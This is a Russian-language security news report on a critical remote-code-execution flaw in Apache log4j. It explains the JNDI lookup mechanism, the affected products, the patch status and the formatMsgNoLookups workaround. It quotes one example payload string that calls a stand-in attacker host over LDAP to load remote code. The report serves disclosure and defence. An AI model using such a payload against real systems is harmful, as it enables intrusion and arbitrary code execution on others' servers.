В Apache log4j, популярном фреймворке для организации ведения логов в Java-приложениях, выявлена критическая уязвимость, позволяющая выполнить произвольный код при записи в лог специально оформленного значения в формате “{jndi:URL}”. Атака может быть проведена на Java-приложения, записывающие в лог значения, полученные из внешних источников, например, при выводе проблемных значений в сообщениях об ошибках. Отмечается, что проблеме подвержены почти все проекты, использующие Apache Struts, включая Steam, Apple iCloud и Minecraft. Ожидается, что уявзимость может привести к волне массовых атак на корпоративные приложения, повторив историю критических уязвимостей в Apache Struts.
Проблема усугубляется тем, что уже опубликован рабочий эксплоит, но исправления для стабильных веток на данный момент не сфромированы. СVE-идентификатор пока не присвоен. Исправление включено только в тестовую ветку log4j-2.15.0-rc1.
В качестве обходного пути блокирования уязвимости рекомендуется выставить параметр log4j2.formatMsgNoLookups в значение true.
Проблема была вызвана тем, что log4j поддерживает обработку специальных масок “{}” в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой “${jndi:ldap://attacker.com/a}”, при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, https://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.